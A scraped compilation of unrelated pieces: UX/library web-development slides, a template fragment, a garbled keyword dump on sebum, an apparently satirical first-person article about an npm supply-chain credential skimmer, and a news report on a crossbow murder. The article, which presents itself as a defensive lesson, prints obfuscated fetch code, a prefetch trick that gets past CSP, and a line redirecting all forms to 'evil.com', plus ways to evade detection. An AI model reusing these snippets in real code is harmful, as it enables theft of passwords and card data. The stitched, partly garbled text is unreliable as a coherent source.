### Step 2: User Research --- ### Speak with stakeholders & users about their... * Experiences? * Feelings? * Pain Points? * Desires?
### User Research - Stakeholder Mapping --- ![Stakeholder Mapping](images/stakeholder-mapping.jpg)
### Step 3: Exploration --- ### Employ UX techniques, like... * Personas * User Scenarios * Empathy Mapping
### Exploration - Personas --- ![Personas](images/personas.jpg)
### Exploration - User Scenarios --- ![User Scenarios](images/user-scenario.jpg)
### Exploration - Empathy Mapping --- ![Empathy Mapping](images/empathy-mapping.jpg)
### Step 4: Content Strategy --- ### Write for the Web * Make content scannable * Keep content short & to the point * Avoid jargon
### Content Strategy - Scannability --- ![Website Heat Map](images/website-heat-map.jpg)
### Step 5: Information Architecture --- ### For Information Professionals - like Librarians * Label & group content * Develop information hierarchies * Produce a sitemap
### Information Architecture - Sitemap --- ![Sitemap](images/information-architecture.jpg)
### Step 6: Design --- ### UI Design Techniques... * Ideation * Mood Boards * Wireframes
### Design - Ideation --- ![Ideation](images/ideation.jpg)
### Design - Mood Boards --- ![Mood Boards](images/mood-board.png)
### Design - Wireframes --- ![Wireframes](images/wireframe.png)
### Step 7: Code --- ### Modern Development Techniques... * Version control - ex. Git, Subversion * Modern development tools - ex. Node, Webpack
### Step 8: Production - Go Live --- ### Give users their website
### Satisfied User --- ![Satisfied User](images/user.jpg)
## Client Management is... --- * An artform. * Every client is different.
### Client Interaction Should Include... --- * Detailed documentation (meetings, plans, etc.) * Share & get feedback (wireframes, graphics, prototypes) * Active client involvement is essential
### Managing Client Desires vs. Reality --- * Take the Agile, iterative approach * Develop a Minimum Viable Product (MVP) * Cost-Benefit analysis * prevent scope creep
### Software Development Process --- ![Software Development](images/software.jpg)
### Resolve points of contention with... --- * frank & open communication * empathy for client's perspective * refer to shared documentation * have backing of supervisors
## Web development challenges in an academic library --- There are several...
### Skill deficits --- No one can back-up the main developer
### Maintenance --- Can become time consuming
### Managers, Associate Librarians, Library Directors who... --- * Don't support project managers * Have a simplistic view web development/design * Lack a vision for incorporating technologies into the library * Have a low appreciation of the importance of the library's online presence * Discount the skills of web developers/designers
### Scope Creep... --- Slows down the project and causes frustration
### Include the library staff effectively --- Targeted use of staff skills & knowledge
### Content Development --- * Writing for the web is not the same as just writing * Requires skill and understanding of the online medium
### Training --- Even with Content Management Systems (CMS), staff need training and/or re-training
## Thank you


DataTable
One place for storing, viewing and searching tabular data of any format
List of Views
#
View
Action
{{range $i, $e := .Views}}
{{$i}}
{{$e}}
View
{{end}}
Source:
Github->boopathi->datatable


PMID:. sebaceous sebum skin human acid lipids Dermatol. Zouboulis lipid fatty sebocytes Invest gland acne {border-style acids px;} #ffffff;} expression role ./j.-...x composition inflammatory Sebaceous Sebum barrier glands production antimicrobial receptor receptors surface National New sebocyte squalene acnes cell epidermal immune increase levels linoleic patients px; {font-family Dermatol Human Nagy acid, activity altered font-size lipogenesis macrophages possible skin. studies various However, Orfanos Picardo Res. acne. activation biology changes contribute dermatology. double; homeostasis innate lipogenesis. oleic proliferator-activated research shown synthesis Biro Capacities Chen Excellence Exp Furthermore, Kovacs Lipid Ministry Peroxisome Program Seltmann Skin antibacterial border-color border-width cholesterol exert expressed factors function growth inflammation insulin-like involved keratinocytes key lipids. macrophage major metabolism polyunsaturated prominent response skin, solid; therapeutic {font-style {font-weight ./-.ep ./j.-..tb.x ./jid.. ./sj.jid. Camera GINOP-..--- Gallo Huang Moreover, Nakatsuji Propionibacterium Sebocytes Toth Wertz Zhang acids. alterations anti-inflammatory bold capable courier; cytokines decreased dermal desaturase diet disease diseases. effect effects em; epidermis exerts express far free functions gland-rich hormone important increasing lipids, normal palmitic pathogenesis pathways penetrate proinflammatory proliferation psoriatic pt;} retinoic review sapienic sebum. total triglycerides understanding vitro vulgaris


The following is a true story or an anecdote. Or maybe it’s just based on a true story. Perhaps it’s not true at all.
It’s been a frantic week of security scares — it seems like every day there’s a new vulnerability. It’s been a real struggle for me personally to pretend like I understand what’s going on when asked about it by family members.
Seeing people close to me get all flustered at the prospect of being “powned” has really put things in perspective for me.
So, it is with a heavy heart that I’ve decided to come clean and tell you all how I’ve been stealing usernames, passwords and credit card numbers from your sites for the past few years.The malicious code itself is very simple, it does its best work when it runs on a page that meets the following criteria:
Then, when there’s a blur event on a password/credit card field, or a form submit event is heard, my code:
Of course, when I first wrote this code, back in 2015, it was of no use at all sitting on my computer. I needed to get it out into the world. Out into your site.
In some wise words from Google:
If an attacker successfully injects any code at all, it’s pretty much game over
XSS is too small scale, and really well protected against.
Chrome Extensions are too locked down.
Lucky for me, we live in an age where people install npm packages like they’re popping pain killers.
So, npm was to be my distribution method. I would need to come up with some borderline-useful package that people would install without thinking — my Trojan horse.
People love pretty colours — it’s what separates us from dogs — so I wrote a package that lets you log to the console in any colour. I was excited at this point — I had a compelling package — but I didn’t want to wait around while people slowly discovered it and spread the word. So I set about making PRs to existing packages that added my colourful package to their dependencies.
I’ve now made several hundred PRs (various user accounts, no, none of them as “David Gilbertson”) to various frontend packages and their ndencies. “Hey, I’ve fixed issue x and also added some logging.”
Look ma, I’m contributing to open source!

Overall, the campaign has been a big success and my colourful console code is now directly depended on by 23 packages. One of those packages is itself depended upon by a pretty widely used package — my cash cow. I won’t mention any names, but you could say it’s left-padding the coffers.
And this is just one package. I have 6 more on the boil.
I’m now getting about 120,000 downloads a month, and I’m proud to announce, my nasty code is executing daily on thousands of sites, including a handful of Alexa-top-1000 sites, sending me torrents of usernames, passwords and credit card details.
Looking back on these golden years, I can’t believe that people exert so much effort messing around with cross-site scripting just to get code into a single site. It’s so easy to ship malicious code to thousands of websites, with a little help from my web developer friends.
Where would you notice them? My code won’t send anything when the DevTools are open (yes even if un-docked).
I call this the Heisenberg Manoeuvre: by trying to observe the behaviour of my code, you change the behaviour of my code.
It also stays silent when running on localhost or any IP address, or where the domain contains dev, test, qa, uat or staging (surrounded by \b word boundaries).
What hours do they work? My code doesn’t send anything between 7am and 7pm weekdays. It halves my haul, but 95% reduces my chances getting caught.
And I only need your credentials once. So after I’ve sent a request for a device I make a note of it (local storage and cookies) and never send for that device again. Replication is not made easy.
Even if some studious little pen tester clears cookies and local storage constantly (on the weekends), I only send these requests intermittently (about one in seven times, lightly randomised — the ideal trouble-shooting-insanity-inducing frequency).
Also the URL looks a lot like the 300 other requests to ad networks your site makes.
Maybe you’ve got an automated setup filling out payment forms 24/7 and checking for suspect network requests. Good on ya. Are you using PhantomJS, Selenium, WebDriver or friends? Sorry, they all add easily detectable properties to window so I won’t be sending anything out for these setups.
The point is, just because you don’t see it, doesn’t mean it’s not happening. It’s been more than two years and as far as I know, no one has ever noticed one of my requests. Maybe it’s been in your site this whole time :)
(Fun fact, when I go through all the passwords and credit card numbers I’ve collected and bundle them up to be sold on the dark web, I have to do a search for my credit card numbers and usernames in case I’ve captured myself. Isn’t that funny!)
Your innocence warms my heart.
But I’m afraid it’s perfectly possible to ship one version of your code to GitHub and a different version to npm.
In my package.json I’ve defined the files property to point to a lib directory that contains the minified, uglified nasty code — this is what npm publish will send to npm. But lib is in my .gitignore so it never makes its way to GitHub. This is a pretty common practice so it doesn’t even look suspect if you read through these files on GitHub.
This is not an npm problem, even if I’m not delivering different code to npm and GitHub, who’s to say that what you see in /lib/package.min.js is the real result of minifying /src/package.js?
So no, you won’t find my nasty code anywhere on GitHub.
OK now you’re just making up objections. But maybe you’re thinking you could write something clever that automatically checks code for anything suspicious.
You’re still not going to find much that makes sense in my source, I don’t have the word fetch or XMLHttpRequest anywhere, or the domain that I’m sending to. My fetch code looks like this:
const i = 'gfudi'; const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join(''); self[k(i)](urlWithYourPreciousData);
“gfudi” is just “fetch” with each letter shifted up by one. Hard core cryptography right there. self is an alias for window.
self['\u0066\u0065\u0074\u0063\u0068'](...) is another fancy way of saying fetch(...).
The point: it is very difficult to spot shenanigans in obfuscated code, you’ve got no chance.
(With all that said, I don’t actually use anything as mundane as fetch, I prefer new EventSource(urlWithYourPreciousData) where possible. That way even if you’re being paranoid and monitoring outbound requests by using a serviceWorker to listen to fetch events, I will slink right by. I simply don’t send anything for browsers that support serviceWorker but not EventSource.)
Oh, do you now.
And did somebody tell you that this would prevent malicious code from sending data off to some dastardly domain? I hate to be the bearer of bad news, but the following four lines of code will glide right through even the strictest content security policy.
const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl);
(In an earlier iteration of this post I said that a solid content security policy would keep you (and I quote) “100% safe”. Unfortunately 130k people read that before I learned the above trick. So I guess the lesson there is that you can’t trust any thing or any one on the internet.)
But CSPs aren’t completely unhelpful. The above only works in Chrome, and a decent CSP might block my efforts in some lesser-used browsers.
If you don’t know already, a content security policy can restrict what network requests can be made from the browser. It is designed restrict what you can bring into the browser, but can also — as a side effect — limit the ways in which data can be sent out (when I ‘send’ passwords to my server, it’s just a query param on a get request).
In the event that I can’t get data out using the prefetch trick, CSPs are tricky for my credit card collection corporation. And not just because they neuter my nefarious intentions.
You see, if I try to send data out from a site that has a CSP, it can alert the site owner of the failed attempt (if they’ve specified a report-uri). They would eventually track this down to my code and probably call my mother and then I would be in big trouble.
Since I don’t want to draw attention to myself (except when on the dance floor) I check your CSP before attempting to send something out.
To do this, I make a dummy request to the current page and read the headers.
fetch(document.location.href) .then(resp => { const csp = resp.headers.get('Content-Security-Policy'); // does this exist? Is is any good? });
At this point I can look for ways to get out past your CSP. The Google sign in page has a CSP that would allow me to easily send out your username and password if my code ran on that page. They don’t set connect-src explicitly and also haven’t set the catch-all default-src so I can send your credentials wherever I damn well please.
If you send me $10 in the mail I’ll tell you if my code is running on the Google sign in page.
Amazon has no CSP at all on the page where you type your credit card number in, nor does eBay.
Twitter and PayPal have CSPs, but it’s still dead easy to get your data from them. These two allow behind-the-scenes sending of data in the same way, and this is probably a sign that others allow it as well. At first glance everything looks pretty thorough, they both set the default-src catch-all like they should. But here’s the kicker: that catch-all doesn’t catch all. They haven’t locked down form-action.
So, when I’m checking your CSP (and checking it twice), if everything else is locked down but I don’t see form-action in there, I just go and change the action (where the data is sent when you click ‘sign in’) on all your forms.
Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);
Boom, thanks for sending me your PayPal username and password, pal. I’ll send you a thank you card with a photo of the stuff I bought with your money.
Naturally, I only do this trick once per device and bounce the user right back to the referring page where they will shrug and try again.
 As yet no one has noticed.)
Option 1:
On any page that collects any data that you don’t want me (or my fellow attackers) to have, don’t use npm modules. Or Google Tag Manager, or ad networks, or analytics, or any code that isn’t yours.
As suggested here, you might want to consider having dedicated, lightweight pages for login and credit card collection that are served up in an iFrame.
You can still have your big ol’ React app with 938 npm packages for the header/footer/nav/whatever, but the part of the page where the user is typing should be in a secured iFrame and it should run only hand-crafted (and may I suggest, not-minified) JavaScript — if you want to do client-side validation.
I know that sometimes my relentless sarcasm can be difficult to unravel by people on the English-learning path (and also people in need of lightening up). So just to be clear, I have not created an npm package that steals information. This post is entirely fictional, altogether plausible, and I hope at least a little educational.
Although this is all made up, it worries me that none of this is hard.
There’s no shortage of smart, nasty people out there, and 580,000 npm packages. It seems to me that the odds are better than even that at least one of those packages has some malicious code in it, and that if it’s done well, you would never even know.
And here’s an interesting thought experiment: I wrote an npm package last week, a little easing function. Totally unrelated to this post and I give you my word as a gentleman that there is nothing malicious in there. How nervous would you be adding that to your site?


Man who killed pregnant ex-wife with crossbow in 'brutal and evil' revenge attack jailed for minimum of 33 years
A man who shot dead his pregnant ex-wife with a crossbow in a "brutal and evil" revenge attack has been jailed for a minimum term of 33 years.
Ramanodge Unmathallegadoo, 51, broke into the home of Sana Muhammad and fired an arrow into her in the stomach as she try to flee.
Mrs Muhammad, 35, suffered catastrophic internal injuries and died. Her unborn son miraculously survived after being delivered by Caesarean section.
Unmathallegadoo was found guilty last week at the Old Bailey after four hours of deliberations, the jury rejecting the defendant's claim it was an accident.
On Friday, Judge Mark Lucraft QC sentenced him to life with a minimum term of 33 years at the Old Bailey.
He described the killing of Mrs Muhammad as a "brutal and evil attack", saying if it was not for the presence of her children he would have shot her new husband Imtiaz too.
He told the defendant: "You have carefully planned this attack. You had two loaded crossbows and I'm entirely satisfied you intended an attack on Sana and then on Imtiaz.
"One can only assume that you were jealous of their life together and the fact that they had formed a loving bond between themselves and with your children."
During the proceedings, the court had heard how Mrs Muhammad, formerly known as Devi Unmathallegadoo, had an arranged marriage to the defendant, who was 30 at the time, in Mauritius on her 16th birthday.
Their unhappy relationship ended in 2012 after an incident in which she jumped out of an upstairs window and broke her ankle. She had told police the defendant had stared at her as he sharpened knives in the garden.
He was cleared of attacking her in 2013 and acquitted on the judge’s direction of a charge of attempted strangulation under the Offences Against the Person Act of 1861.
Mrs Muhammad successfully filed for an emergency non-molestation order which barred the defendant from coming within 100 metres of the family home in Ilford, east London.
Following her divorce, she married builder Imtiaz Muhammad and changed her name from Devi Unmathallegadooto to Sana Muhammad.
On the morning of November 12 2018, he took up position in the garden shed armed with two crossbows, bolts, a knife, duct tape, cable ties and a hammer.
He was disturbed by Mr Muhammad who had gone into the garden to store an empty box. The defendant ran inside the house and shot his ex-wife with an 18-inch arrow as she fled upstairs.
The defendant made no reaction as he was led away from the dock.
- Mrs Muhammad's widower pays tribute to "soul mate".
Earlier, Mrs Muhammad's widower, Imtiaz described his "soul mate" as his "best friend and "my everything".
He said the couple were living "a happy life" and her murder had torn the family apart.
"Ram has finished everything. We all feel lost now. The kids are missing their mum too much," he said.
He said their baby son was "struggling", saying: "When I see him I feel very sorry for him because he has no mother and he has never seen a mother's love and he never will."
Mrs Muhammad's mother, Ellemah Sutharamandoo, said she had always treated I always treated Unmathallegadoo like a son.
"It brings me so much pain to know that he could be capable of something so hateful and so calculated. I cannot forgive him," she said.